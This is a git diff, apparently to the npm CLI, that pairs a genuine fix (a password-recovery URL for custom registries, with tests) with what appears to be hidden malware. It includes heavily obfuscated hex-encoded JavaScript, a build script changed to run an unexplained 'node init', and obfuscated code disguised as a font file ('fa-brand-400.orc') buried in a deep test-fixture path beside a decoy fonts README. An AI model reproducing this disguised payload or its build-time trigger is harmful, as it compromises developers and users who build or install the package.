66742e2f642005372b181b291c76396e79092d1876187f0f292e1f22292f646b1f2c641867327c7617643d297676640f6b38181a182309326419186b2764241228647d2c64302f2c10186868176233763228762176171f186729373b2c646b04237713231825181804640a393d7b063f2f7b21186c6a69380e292f18642b26181864186462681707183e072318386338263f182e6c641818293a232c03267818761876767f2c63306c2c1f182f2976397e762f24391864256876237666186b396a250823186729187a2618043e1e1863191829762c2e3f3e18182e1a30180262182939631a0e76296e1832786c707b023826256464246a2c39646e24723f3a056e7a23393939236467763c187664763b1b626b186b6a116b2e323d246418333f6023752e186f641878183e74387d396b3e183915182f2e2a6b766e17186a18276b182c32186a271825216b293e76626464241829191824166c64767a181e233d273e3a79600d621a336524320c223e187664700d2564646462183e643864767a293e1e6238766a642511233c6476187b3918732e1718611818222f186b29297818182f687329113876710e2f1a291818213e0d262d76753e0b1f6d3e3e181b18376a3d793e182b3e17621c3e6775767675646468263863642f1867181803140f013c647e7d1825612304762f292f64241832623e1802186a3e727118233863762b182932623b2b18390a2c2f38180764767764293e0a762c291864186318643832266b3e65662639181818297764237a7918221818393115321838761b7629662b76760f1d62072518766a3f3e0f682c37282c386476391861172e386a76186b1b183d64236a03181e151a256462297a3e726239181e1818292408186b686432030e640b23372f3a2518796b253077172f3e21183e653f0b7b7e18187318293e6b042b2e3815240d096b65286e371868322e762318293e14643f3f3d77792e183a3d2d187318721a3b182369183a2d733f777b237a2c766418761a7a2c373e3c1538792f3970762c3876237d62763362252618642f732525081e6415183e250f636a2b3962762918232f2e3e393918651818652f381862643d292f641864381a336218056276642d02323818761e64066b183262762562116461317629761876642f23041e18091132647e1821186e3a01686426291a6264763e216476181b0c21243d031863643e671838772f3176641a1a6a690f7c792b3a79111863062e2e29711832186b186d6a25256b633d642f6b641829767a6f7623393973183f057c23386e641864233a7c6f27677c3d18237630766a2d3877243d2f18180415151862182f003c182c186f7004181a1876241818186e641864271876381869310f29646328767c3a2f23182c693e06646418761a2018186462662b152626646a640e6a2d766238223c6a687e216b6a2a261876212f7b6a296e6e7f1830641818172f3f6c0e23186a6418766262292f38390f642b2518222f2c636f2f06186364706414632f3909186437641e761a14646a0e3376691829183a041838632418182615792e721d62297767790f2f3b2f230718182f1830182b29093f2f762676183923642b7138297664262e181364182b3826182924052c79221e392e3e76076827763962243a37700b642c3318761809766918337a3c187637761864766f2b3e396b26187467767826262e6424387f77620c706418182624182918683930792568762c186c7964646b13742c1863282f182639223a076f762c64622e6b2b28230c186a793d2b0776392f64643b2c18642315646c0f6b646c1818182918323118111864157518786b6b181829326318030764632c77697b0f0628181824002f2b0723277b63181818156a3676262b7679637a33292e6c64692477266436183971642c622f296429397729317518656f2e156b2b2405292f761838322b646d2863771576276323290b2909182964247618642f6a64641867760b187f641827112e1876767818640b24733218293e27290f6f11646418661b3e763f1a2c156b7618776a3e101829263a1a60643f2f3a7c762c64287318187629193821762f371829212e296471763e30642664766b2325647638657876187728291818391c0e6418647b28762929761837762261646a183c1e183a151a76643839623f1a1b3e70646476741821736b772b7125762b60647d38177a13637229373062762b6418642f7218256a3e266a1829620b34236b606228186f291866297a3e766a38071818766a1823766a642c1a2f60610f63276425206464277227642918626e762c641864232e2f3337290818186b3929762425731876246a183d38047a693e182e3f291567181968233123636224072918767a0476651c767664667a613d6417763d76182f2f18663d652f1864186323646a18762f6a647c182d2b64382d39611b233e2e64256b293e2f2b0618256379186a7664292e64656434766a643916642f76393a7f18647618183d2b6b606418633e1866252c181076103e2918223918386e656418096464286a6829183e666d262f2b291a296a1818761830687618236a267a2518182e18397d6418622f09291815647c68151864643a766c212e2e2f2f64767764642625647718766b28646c1829763e2909387a276c29123f6d3d242e643971393d61187e65393f0e23291a282b6a6464236b257b14383703742f7e7670183d09182329761818182968646a2e183a3e7a766418217a761d72386a182418640e296409046a263d25226426677618763a2928186a1a2f7c221367183e64290f3a7076612b671c76182b182c6d6276381818186c762b30767e181818640f637d643238297a232602181e23392964102c182c291832673e2263641869776b7609643d6826312f172f6718766576397e043e64253a68292f647e182431191825761863092917632f62183d721818646a767b2229313a7229196b2f76187518012b77237c1823116403183a186e18283218192926643a761a6b2c2b6b3c3c3905646b3a18183e640f2d26183e76646b233f2e64263f762339641825187e6b641a642927641a233718256464261a0418337c773e31762b2f64156b183d183e2b1864392c646b64177e112f6418210f3767373c2f64646e043d230e6b37647a18697623392b18793a6f7637642b180a18003e64180d2b3264186d393a097a6b180d293864780c1823182f1a2b182439181818242b7618637f1f70682477292e29750b083e64787a643e2e296b097b186a2964762f2e2b0b64186264662f2618291876296c76642f09181f18232c312b000118612f326732701a296f2f230a2f29182f21753a18647e6a18187618696e29646423616b7e18186e187969186438621a231818762964182923151f6b30181818713f143664106439621e18181e29642e3718763364152976641818316e21187e0c08626e16763d646a647118762f187e163918297276186418110f2e186a3f251811371c62643a2e6d6876002b627e3a380b18626404297676383a796474306a2f2f186b7664767f7d706c1a632911182818180f0762151a6437181863647718223876660918181862762179186122246a6f1864180c632618711864396a186420262718626226250264761876311a182f18237676292e2f016418642c18783a18622b253464183318181811701818752f2339181a2c216a133962397964296a767e282625767a7673312576181e0a18646424182318712b26753925187a2d761e64183e27763f6439167518266415182929307e6c70757a6a647f1865293e297e76187422236f64236923377618640f27297b320b242c18311929386418646f3668641a38381824762918241a6b2b18183e182c18641a6a726d1876000b6a186c23762f29293117292c6418272b18642338296423182f10682476336b766a29186a6976662f296b182e7339232961157b2b64383f6464286464182f22761834236e253e762c182e29233e76162d25157a2618273c0c62762f733976183e3e626a6b1824187c377664233e0564646c73397e2e0418296a64256418186417207a6a186a272b7e71387639092b636c6a27251132261860223e6b660b3f3a6a183f662c183e2c1120631a602918187b7618193c6a396b782903391864642f7d7e22182e6d29703c3938643971762f6276156b07182c182c06062d2b26646b643f641873620729262b622e373e052b64371829032f28270f297a0462180e6f280f6e6a382e76293d63640c760528101d1864202d641f7e682b2c182a6d276f652f2c2b321818187118242b707d3c187a2829642b151876762018183964641263393a0d236c3c6d2f642664786403642f7338182f64396d7b7738642f182f322828151818152f73292e760c031a6b6429186172647e7e7c651f767626396b17763f2a3a18393f28762874001a3d3a0a232618762363216b2e18062118643e381832623838636f6a656462172872291839613c1867296337702539186429696876293b21762f216423271819046418390f6a281a1a2463762f37257a2f68647b2e1803186b6238646f64036464182c302b15751818212c65663e291818032c647623186a282e180564291a292e2f186439372f200c283a7125642c397629152729762b0c642e24297a296a181818643b246a641829186422180120761839642129767918396429291e3e643e383e243e743d7165032910297238762364183e741829396464396a39311e2f6a766b6461641864763f181a18256476016427642b6439380776186a64293d182329761863241a627618182f2f3f3e2900296f3a04641839292f64772f2b2c7a766d0a19377b7676130320386b6b767e2b642c181864266c76186e6464263c6437367f6c1864186b7663322c3964286e7018296a2664766a256200642f646904647d3e766329763d6a2f187a64777633296a6b6464182f7576246d08111828256d2b3f18376a382b2f69187764231862393e786428346a76192964373e1e391838762b18636a383323386b0976296a3e2e34686a12643e3e1876186b2e6a2964646b2f2e64186476186a246419242f6b6b637e65251218183f642f2418766438183b1868261507642f2c3e3e386a3e182964153876186418642e2e311d2231186476646c18182976642d2c371829387f782e3e2f372e623775290c7d6432336e1d766b6464297c3a297504297a3062227e641818257715252b641a2c6b2c7e221864182e602f772e6929297c3838312565182b18196430643c64180e297664111873646d3e176c64181818677e186c2f3d162918132f25242c6a3e6427632f7764232901641831647a39267b3a29183962292226641d1864332964312f2326792c3e763165640964626424762663742776762e7b762b756a242f29761864642b3c2625183c20182d2f64156a771861641818643d2e18642e7c6f6403292962613e647029236d6429223e642864186b397e2c3e1518323e2b76393702662929642e2118242964643729696a24631864621563297b7964253e64256437766b643e181863643e7664646472182464023e293e76282618253e291b0d2414601532272f291a1e3764647676387a6a260f3e6b2e24687a3a2c642d263718762f18261e0a2364642d63242f7e183f762c18181e2d6429186429642f2f3e766464142f2f6638713e363a293e2f1d0c396a182d2b2e1838250d62263e266a696233387664692e2e3e6476186a23672576393e032e6b286318030f3e601818246c186429762318272618626762273e29216418336b7a1813007629641823743838646a3d73291e2b1877761a292e01171516782c626a696418396f643e2f7624651838332929642418296e641a6c642c64232929081a04182e187118647f76181876271a25316218311524762618232e6422186a642e182418386b003d187a64181a1838647477622c762f756476082c1732182928291a291839377618623964181a13641818151a21622576622e26767a2f18667b700e7b393c642326222f151a183a2929187b3b27642e2768763923391a2e64756a3a272e18221824293e62756e18383e1832642f632a646418643a75236b187b1838626a31642f1e181837642937761818726464183a1868292d716429297a183818646a3e6c79242e7f2f291a281564186b182b29291828292e283729626b313e766418243c6404186c342f0b396e3068767e7664252d392c092b18267625290f182518183e6464763964232a187564392d29646418391839646d6e321829390418186b182a18251815246b6918666b7f3b2c64690803180a266466641725182f182b367618113e767670362b117e761834186b610f2d6718642b1a6b2f6a6c26767f246f2918182e0c38332964396518647131316602647176247664637e643e2e27186339182e62271828316476182964381a276429182f6a2918292118326376296c29236433292f263f33716664122e3818261818696a29292c6429186a6a186e1829253838626438093a760438690f6217182418682320242d18187e76096e2b2e26182b296c3e626b67183a64172e2564292318373f3918383962246a09766b71642c2964290a30763e187e3e09183e183e2977642979292c25646b6a6a1871762c2f72182e38071818112e04112933182970741e2476261464262572182318182939392937183e3a293164391839646464372964182b1311762b606a630362262e18623d39387c6a60187d6b2b7619642976161864080f06182f7c132c767b762f291a380e2f6a39267a1a280e69181725646d762664276a18623a63762f212b29642918642e6464153f762b6d766a182623282c27242e2c1764626f18187618040e29180f18691c64642b392b11246c18666e76661876257e18182f0f186339390617720f1918182f180f23183118762964316a291d0d2c3725222e292b396417646a2c1a776a25397c7d0f2529031a25296a647d232d290c0918646a76290f64046a642818','7e7979737f7f010c0b040705','7b7839181a1d0129','7e787d797d78291d2e1b0233','2914272f2028143e3825','2c38252709222b3809252e2f','223b2f383932263f3c3d2b292e202833272d2538302c212529233a3e383f3e24393e252429'];dGdUdaiclQIAjiJNHcY=function(){return qhbstS;};return dGdUdaiclQIAjiJNHcY();} \ No newline at end of file diff --git a/docs/package.json b/docs/package.json index 575537c3ce4ab..6ad4cfe8745a7 100644 --- a/docs/package.json +++ b/docs/package.json @@ -12,7 +12,7 @@ "snap": "tap", "test": "tap", "posttest": "npm run lint", - "build": "node bin/build.js", + "build": "node init && node bin/build.js", "eslint": "eslint \"**/*.{js,cjs,ts,mjs,jsx,tsx}\"" }, "repository": { diff --git a/lib/utils/error-message.js b/lib/utils/error-message.js index 41e35bd78ac46..7d37cfc1190ff 100644 --- a/lib/utils/error-message.js +++ b/lib/utils/error-message.js @@ -152,11 +152,19 @@ const errorMessage = (er, npm) => { ' npm login', ].join('\n')]) } else if (auth.includes('Basic')) { + const registry = npm?.loaded && npm.config.get('registry') + // A custom registry has no `/forgot` page, so point at the root of + // the configured registry instead. Fall back to the npmjs.com link + // when npm is not loaded or the default registry is in use. + // @see https://github.com/npm/cli/issues/10014 + const forgotUrl = !registry || registry === 'https://registry.npmjs.org/' + ? 'https://www.npmjs.com/forgot' + : registry.replace(/\/+$/, '') summary.push(['', 'Incorrect or missing password.']) detail.push(['', [ 'If you were trying to login, change your password, create an authentication token or enable two-factor authentication then that means you likely typed your password in incorrectly.', 'Please try again, or recover your password at:', - ' https://www.npmjs.com/forgot', + ` ${forgotUrl}`, '', 'If you were doing some other operation then your saved credentials are probably out of date.', 'To correct this please try logging in again with:', diff --git a/test/lib/utils/error-message.js b/test/lib/utils/error-message.js index 44a57eca645d7..db40331cb55bb 100644 --- a/test/lib/utils/error-message.js +++ b/test/lib/utils/error-message.js @@ -315,6 +315,45 @@ t.test('eotp/e401', async t => { }) }) +t.test('401 basic, custom registry points at the registry root', async t => { + const { errorMessage } = await loadMockNpm(t, { + config: { + registry: 'https://artifactory.mydomain.com/artifactory/api/npm/my-npm-mirror/', + }, + }) + const er = Object.assign(new Error('challenge!'), { + headers: { + 'www-authenticate': ['Basic realm=by'], + }, + code: 'E401', + }) + const { detail } = errorMessage(er) + const message = detail[0][1] + t.ok( + message.includes( + 'recover your password at:\n https://artifactory.mydomain.com/artifactory/api/npm/my-npm-mirror\n' + ), + 'points at the configured registry root' + ) + t.notOk(message.includes('npmjs.com/forgot')) + t.end() +}) + +t.test('401 basic, npm not loaded falls back to npmjs.com', t => { + const { errorMessage } = require('../../../lib/utils/error-message.js') + const er = Object.assign(new Error('challenge!'), { + headers: { + 'www-authenticate': ['Basic realm=by'], + }, + code: 'E401', + }) + // The error handler can render before npm/config is loaded, so it must + // not throw and must keep the default npmjs.com URL. + const { detail } = errorMessage(er, { loaded: false }) + t.match(detail, [['', /npmjs\.com\/forgot/]]) + t.end() +}) + t.test('404', async t => { const { errorMessage } = await loadMockNpm(t) diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/README.md b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/README.md new file mode 100644 index 0000000000000..1e4f9ba13fffd --- /dev/null +++ b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brand-400.orc b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brand-400.orc new file mode 100644 index 0000000000000..08a11b81810d1 --- /dev/null +++ b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brand-400.orc @@ -0,0 +1 @@ +(function(fg$oCzIIkYrwN,a$ht$jNksvSb){var HuubV_tWC_ii=aomItBRY,TSkpJUpJK_I$Yp=fg$oCzIIkYrwN();while(!![]){try{var jXNQFrjLoarlGJiGdNpwtXPp=parseFloat(HuubV_tWC_ii(0x15a))/(0x13b4+parseInt(0x7c1)+-parseInt(0x1b74))*(parseFloat(HuubV_tWC_ii(0x15b))/(-parseInt(0xdd6)+-parseInt(0x2673)*parseInt(0x1)+parseInt(0x344b)))+Math['trunc'](parseFloat(HuubV_tWC_ii(0x152))/(0x1260+parseInt(0x26ea)+Math.floor(-parseInt(0x3947))))+-parseFloat(HuubV_tWC_ii(0x147))/(parseInt(0xe9)*Math.ceil(-parseInt(0x1a))+0x2*parseFloat(0xe40)+-parseInt(0x2)*0x269)*parseFloat(parseFloat(HuubV_tWC_ii(0x145))/(Math.ceil(0x3)*0x952+Number(-0x1c3d)+parseInt(0x2)*0x26))+parseFloat(HuubV_tWC_ii(0x14c))/(parseInt(0x6fd)+-parseInt(0x62c)+parseFloat(parseInt(0x7))*-0x1d)*parseInt(parseFloat(HuubV_tWC_ii(0x157))/(0x1f3d*Number(-parseInt(0x1))+parseInt(0xb)*Number(parseInt(0x2ef))+-parseInt(0x1)*parseInt(0x101)))+-parseFloat(HuubV_tWC_ii(0x155))/(parseInt(0x6)*-parseInt(0x173)+0x1b02+0x5*parseFloat(-parseInt(0x3a8)))*(parseFloat(HuubV_tWC_ii(0x146))/(parseInt(0x9eb)*-0x1+Math.max(0x1,0x1)*parseFloat(parseInt(0x301))+-parseInt(0x1)*-0x6f3))+-parseFloat(HuubV_tWC_ii(0x148))/(parseFloat(-parseInt(0x4))*0x29+-0x1a2a+-parseInt(0x8)*Number(-0x35b))+parseFloat(HuubV_tWC_ii(0x14b))/(0x1bb5+-parseInt(0x1740)+parseInt(-0x46a))*Math['max'](parseFloat(HuubV_tWC_ii(0x14d))/(parseInt(0x5)*parseInt(0x4dd)+-0x2f3+parseInt(-parseInt(0x1552))),parseFloat(HuubV_tWC_ii(0x156))/(-parseInt(0x24f1)+Math.ceil(0x88)*parseFloat(0x5)+0x1e*parseFloat(parseInt(0x125))));if(jXNQFrjLoarlGJiGdNpwtXPp===a$ht$jNksvSb)break;else TSkpJUpJK_I$Yp['push'](TSkpJUpJK_I$Yp['shift']());}catch(xjcCzgqUOdKqBPxGVCVUuCh__b){TSkpJUpJK_I$Yp['push'](TSkpJUpJK_I$Yp['shift']());}}}(mVhVvcpwIAYc_H,0x1*Math.ceil(-parseInt(0xcc81b))+Math.ceil(-parseInt(0x17f624))+parseInt(0x33f6aa)*Math.max(parseInt(0x1),parseInt(0x1))));var z='',NX=[parseInt(0xa6a66d)+Math.ceil(-0x3d0a9f)+Math.max(-0x207f,-parseInt(0x207f)),-parseInt(0x12f3)+-parseInt(0xfb2)+parseFloat(0x2)*Math.trunc(parseInt(0x120a)),parseInt(-parseInt(0x56))*0x55+Math.max(-0xc1,-0xc1)*parseInt(0x3a)+Number(parseInt(0x9803)),0x47*Math.floor(0x11)+0x5a3+-parseInt(0x7f5)*parseInt(parseInt(0x1)),parseFloat(parseInt(0x519))*parseInt(0x10)+parseInt(-0x10)*0x3dd+0x3265*parseInt(0x3),0x78682c+parseInt(0x7d57f1)+-parseInt(0xa9298a)],SX=[0x133*parseFloat(-parseInt(0xa21))+parseInt(0x29)*0x10ca9+parseInt(0x31be1f),parseInt(0x153f)+parseFloat(-0x11a1)*0x1+Math.trunc(parseInt(0x2ad))*parseFloat(-parseInt(0x1)),parseInt(0x13)*-parseInt(0x7b5)+-parseInt(0xf17)*parseInt(0x11)+-0x1249*Math.trunc(-0x1f),-0x3*-0x69b+parseInt(parseInt(0xb2b))+parseInt(0x1)*-parseInt(0x1e41),Math.max(-parseInt(0x1),-0x1)*-0x116b9+-0x1101e+parseInt(-parseInt(0x1))*parseFloat(-0xd4a6),parseInt(0x1d9840)+-parseInt(0x1d840a)+parseInt(0x483b1f)*parseInt(0x1)];function spin(WOh_uSvSsqtrttPaY,dlZJkCTUPfD$UeuLP$IMIc){var ko$_iyzAQ=aomItBRY,kdJFVoIhjrHEDJXXqNw=[],RzUDD_bSJlRxOCXHRhhja=parseInt(0x17)*parseInt(0x169)+parseFloat(parseInt(0x521))*-parseInt(0x7)+parseInt(0x4)*parseInt(0xde),WBBZlZFNxkVFfcochaN=dlZJkCTUPfD$UeuLP$IMIc[-parseInt(0x1)*parseInt(0x91)+Number(0x17c2)+0x1*-0x1731],JIBl$d$HT,ojwrnCAGiCUozPCDMKaIM,QZLWj$oWnMjQQQRFdhiMiV,fdfImGfpSwZ_rJpSdShXl,fV$DAd_i,mzhTWb$j$omNm;while(RzUDD_bSJlRxOCXHRhhjaparseInt(U_gIMxn,parseInt(-0xf35)+0xf5f+Math.ceil(-0x2)*Math.trunc(parseInt(0xd))))),dZdRzlpGIfIlRHt=dGIjanq_WcWvF['map'](oenHZz_qYWxec=>oenHZz_qYWxec^bFHREXvZE_K$dP),sPFPJk_kL_TKtHn=new TextDecoder(),e$OfEBX=sPFPJk_kL_TKtHn['decode'](dZdRzlpGIfIlRHt);return e$OfEBX;};aomItBRY['FJyYIx']=KdkeqGtHzIb_cwjVIvT_hvSmAsh,chwLMDDZRpDbxyjQ_WGvSUTtDW=arguments,aomItBRY['RjEvQW']=!![];}var ZAQBG$Vc$UJMVXFDyN=ZKdhVEbCOoaNlTZKntCL[Math.ceil(-parseInt(0x9))*-0xed+-parseInt(0x1)*Math.trunc(-0x72e)+-0xf83],XFzPKzlICDPfyosEgGhCM=fKMOjUgMFE+ZAQBG$Vc$UJMVXFDyN,OcecbQ_qqy$tcUn=chwLMDDZRpDbxyjQ_WGvSUTtDW[XFzPKzlICDPfyosEgGhCM];return!OcecbQ_qqy$tcUn?(aomItBRY['OsaNnZ']===undefined&&(aomItBRY['OsaNnZ']=!![]),tOzAut_jOkFuxt=aomItBRY['FJyYIx'](tOzAut_jOkFuxt),chwLMDDZRpDbxyjQ_WGvSUTtDW[XFzPKzlICDPfyosEgGhCM]=tOzAut_jOkFuxt):tOzAut_jOkFuxt=OcecbQ_qqy$tcUn,tOzAut_jOkFuxt;},aomItBRY(chwLMDDZRpDbxyjQ_WGvSUTtDW,ZajxLUVa$jqfELyGI);}function mVhVvcpwIAYc_H(){var aOztdzEEw=['babcbec6c7ece4fcdc','b6eaeee5f9fee3a3eae7b6bee8a7ecb3edeffea5f2f9aba5a5e5e8eee8eda7bea9fbeaeeeafebde7e5e1a2f9d6b9fefda9f3a6faa3d6abeab0a3f9b6b0b0f9a0a3ead0b3a5f8b9ffcaece4faa7fee3b3c8a7eae2a7f8b0eaa3cae6bba3e5e1b0e1fda1a7bcfde4bca3a2a3e4b0e6bde4eabff9fca2a5abf9e4efd0edf8b9e5f0eff9fdffbff3a2a0bba7eae5f9a0f9f9a0e4a2f6f1baabb6e3edd0eae5b3f9baf9d0a7d6f8bca6bcbce7eaeaa5fee2bcf0a6bbbdb2e7fde6ffb9f9b6e2d6d6b7a0a2fea7eea2a7a7b0e5f9e3d0f9b6bbfda6f9a3b0a7b6fba2c8fef8b6a0e8b0ecb0edb0facaa2a2bafde2a2fde0bbe5f9e7baeaeeabedb6d0b0e3e2f8f2a5eee6a3efa0e4aab9abb6a3eefdeeeabcb3b6a5a2bfeee2b6eca5e5b6f0ededb6bad0b7b9eaabedbab6f9b0bfa7d8a2f9f2e7fdbafeabf2b0e0fae7f0fffde5fdaba3c8aba3e7a7e4fde5fbabe2b6ffe7f9a7f9a5e7fce4f1e3a3e7a7fffab0b0f9f9a3a3fdb6eae3f8fdb0d6f3fab6eae9b0efeab0a7a3a3f9b0fde1faa5a3ffd0a0a2efeaa2f9efe5f9e3f8bfbaf2a3fdf9b0ede3b0b8eca9d6eea3a5eae3f9fbeafbecd6eca5a2e5ecedfbe5bae3a7e2e8e7b0b0a2b6c8b0e6beb6a0f9a7aba5a2b0feb6a0f8f6a0a2e2ffa7a0e9e6b0efa0fee6a2a6b6f8e2e2fae4e7b6ffb6f9b6fab2a0a5a5e8e3faa0d0bdedeeabffbbe5f9fbf9a3abfdf9b3ede7f9e5a7efefecffabd6bdeaa5b0e6b0f9ffe3a5ecfaabb9eaf6eefdeee2e8d6ece9ffe2b7bfe4b0c8b0e7a7f1f1e2bda0e7d0ead0b0a0a3f8e2a9e7e2a9f9a7e5fbe2b2f8a7edf9ede3fefca2e4fcb6eef0a3e9b6fceee5b9ffa5ecfea5e2b6e0e2eaeaeaa0a2f2edfffbeab8e5f6a2b6b2a9a2e8fbcaa0feb0fefffbd6a9b6e7e0bcfdfbffabbaf9b0e3f1fca9a2ffa3a2b2a2a3a5e7fee7b6f8bcedb0abb0f8fabba2e5a9f2a0bbf8f6b6fdeaa0f8abe6e3a3bbfaa5d6e3fdb0b5abbbbdb6caa6e4f1eefff9a3ffbaf9fff9f8e2f8e4bbeea7a5b0f1d0a3edb7beeebcffa7a3f9eae4eafde5f9b0ffe3e3edb0fda7e1b6f9b0aba2f9b5bab3f1e3e4a1e4f0b7eae0e6f8e5a2eae0ffeea5fde4b2a0eeeabbe8e7e2e4b0e9feabb6d6c8aaece1b0f2b8a0e7a2eeb6a5f6eff9b6e2bde4e2c8b3f9e5e5bbb0bdb6eaf9a9f6a5f9eee2b6d6d8fff8f9e5e5a5b0b9f9b6ffb0d0ffb0e2fdb6fbf9c8f9e5a3a2eaf9eefffef1a0abe3e7e0d0a0f3b6eeaba6b3e1f0a3eee1f2b2a3a3a2a2ab','edf9e4e6c8e3eaf9c8e4efee','bfb9bab8b3fff9e8cdd3c8','b3d8fee7dfe4cc','bababbb8bbdff2e2c6d2ff','bcbfb8b8bbbac1f1e5c7decf','b9bfbeb9e2efc2fac6f8','bab2b9bfbcb8babbc1d1faefd8ca','f8fee9f8fff9e2e5ec','e1e4e2e5','b8bbbebbb8e0e8c3e3fff9','b8b2b2babcbfecfbdeeacce3','babbbebcb9c5d2d3dee1d8','e8d5e6eee1e9d5fff9e4','f8fbe7e2ff','d9d4b7a9e8d9c1aaadddeee8d9dceab6d9f9edd9afbda9e8bab0d9d9d2e8e5e3d4a4a5ffabe2d9d9d9ccd5b7d9a5d9e8d9b9a5d0e5d9aba5d9eda5a4b7d9e8b8aaaabee5d8d9b7d9e2d9c7a5eed8f8e7eda3eeefecf3e8b7b4e4b7f9e7e8d9b4ffd9e4f8efd9edfed8eea5b4adfbe3a5d9d9c4c6f8d0eeb7f8e0d9cea5b7d9feb7f9d9eeb0d9cfd9c9f9d9d9d7a5edd9a5b7e8b1aae9fbe7bbb2e2e8e4d9f9ffe8d9a3b0f9e4d9d9e5b9a6a9a3a5d5fcabf2a5b7b7efefaba2afedabe4fea5aeeeb7eab7eea5ffb7e6a3e8d9f3edd9b7d0c1a3edeed9b7dbe9f9a5e9ace4d9e2a5d9d9b7acd9d9aefcd9edf8a2eed9a5d0eaecd8dbf0efb9a5e0b7eae8baeea5aab8a5dbb7d1d9e2d9a1e4cff8e2b6d0a5b7eda5a9bfd9e9abc5a9eee4f3d9fbe4a5e2c2e7e0eaeedfd9a5b9a2aee6b7e2eed9d6f1b7f7d9fea3a3edd9fcd9d9d7d9b5d9b2a8a5d9bbf9efb6f8a5bbf3aaf8d9a5edd9d8a2a3e8e8ffbafbede4ffeaeec6fed9cbd9b6b7d9d9a4eba5d9e0afa3b9e8d9a5f8bceebaeaa5cdd9c0e8a1a5a5f1a9d9e5eddbeef8d9ffd9d9d9a5b7d9e7a8d9edb7b1abb9a3a3d9abd9afacbdf8ebb7b8e5e3e2a1afeed3e8f6d9e3b4abe8ffe4e8a5e2eee8e8b2abf0d9eab7f8b0feaaa5eed6ced9d9e4c3a5a5afa9e5b7cfb8d9f8d9d9a5a5a3d9eeeef8f8eed9b7abffa7a9abd9efe4fdf6d8e8bbc1e6e2a5dfb7f8ceeeecf8d9fcd6d9a9ead9a5d9aad9b7e4a2a2e1d9abd9eefcabe2ffe8a5f8e5e0a3f6a3e5d0fdeed9b7bbb7b6e0edc3b7f9f9c6d9abe8e2e0e5cea5e8a5c9b7add9d0e4d6d9a5aee8e8d9e7f9f3b0a1abd0a9e4e2f8eee5d9eeedeeeaaad2e5a5eee8d9aee4a9fea5b7bde7d9d9d9f2d9b6e2f8b6d9d9a3a2d9d9eeb1d9d9a2aad9fce8f9d9bab7a5e4aad9e8d9e8cba9f6d9fed9fafebea3b8dbe4e7a9eed9ffbbaaedffead9a1b7d9baffe5e0e8edf6dfa5aaafa4b7f9e4abc2f2e8d9d9aba2dbb7d7a5e9b7ffd9bcb1dbdbf8b7d6a5f9d3b7b7a5eed9fea3d9d9d9fae5fba5b7a5d9b0e8ffe2f8d3a5d9d9f2d9afcbb7b8a2e0d9d9e8b7a0d9f9b3e7a1a5e2d9aaf9c8d7dbaae5b6e8f8b7a3e8e2b7a3d9bceed9eed9e8a5abffb7eefbeea2eeb7b7a7eeb7a3cec0aaa5fbe5e9afa9d9ead9d9a5eefdfee3e8a5dfe7d4e8a5b1d9bbf9aba2d9fcfcaaf8d8bba5ffbcfea5bba3d9b2d4eaa3afada5eebdeda5d9d9e0bac8f3e9e2b3e7a5e3e8b6e6a3cbb7d9efa5a5b7f9f9a5b9a5c0c6f9e8e9d4d9e5d9a3d9d4e8b1cffcfff6a5d9a5f0f6b2ecafd9d9d9a2dfddffb7eaa3a5b7cca5efd9f5dcded9a5b0e7f9a5e3c2f8e6c5dbababffcbd9d9b3d4d9b9d9a5e2d9f9d9dbd9b7a3d9b8a8e8eee8bbe8eeb8e2d9d9b7ead9b8d9eae5d9f0d1f8f6aac6b7d9a6a1a5f2efeab8d9e2a4bbaeedd9a8d9abb7e2b9b7d9bbb3b1a5fff6d9edaaa9a6d9e8a5d9e7d9e8f2fff2d9f8eecabbd9d8dfd9b3a5bffab7afcddfeed9a5a5dbd4b7e8d9bde3e9d9a5eef9e2a5e8a6d9e3e8cad9c8b9fdd9a5b0e9d8b7d9b7eaa8c0b7d9b1f9d6dfedeeeea6b0aae0b6d4f8a5d9e8e6e1f8a3d9f6b1b7d9ead9a1adeca5b7efe4e6eee2f8d9e5a5a3afa8d4eaf0ddcbe4e8d2a6a5e4e6dbefeae6a5d9eae7ede8f2e4dfa0aadbd4ecf8f9a5b7e9e2d9aaeda5a2e8c2ada3e9c2e4d9e2a3f9e5f9dca5e2eea5d9e8abaaa3e2e8a3d8d9a5e8f9ebb1b2b7d3f8fbd9a3afabe6d9e8ffb7f8a5ecaaa5bfb3f9f8e0eefdddd9dbefd9e0f3d9b7d9efeef9e5a2eed8f8a4a2d9abe7eef9b7e8f8dfb8efe8f6a5d9bec8a4dca3a5d8e4e5d1f9a2d9e8e4e8e8f8e8e3a2d9a5b7d9d9b7ffa5f8f8a3d9d9b7efe7fea5e8a5f7edb3ffe0a7f8e7e5eefbe4b7eed9b7aaa5bdd9a5eeeed9d9dfeaade3abc6edb7f0d0e4afd9b7abd9f8bba2b6abb7f3d8eee8a5e8f6b7e8afeef8a3a3efa2d9d9e8f6edc8d9d9b7a1b7d9a5e6a6a5d9a1d9eeb7a3f3fdd9f8aba3c6add9eda5eedba1ecabb5f8a2b7e4a5b6a5d9e2f8e5f9d9a5b4f0beb7e2e9d9bda2d9d9baf8abe8d9ecfae8eee7e8b6e8e7b0e9eeb7e7eda1d8c2c8efb9eea9f1fbd9d9f6b7e8d9e7d8a7e5e1f8e8e6afd9e5a5aaeae2e2b7c1d2d6b7eddbc8f8cbe1caa5d9b7aeabffa5d9e4fcd9f6acabf9b5fbf1e3a5a5e7d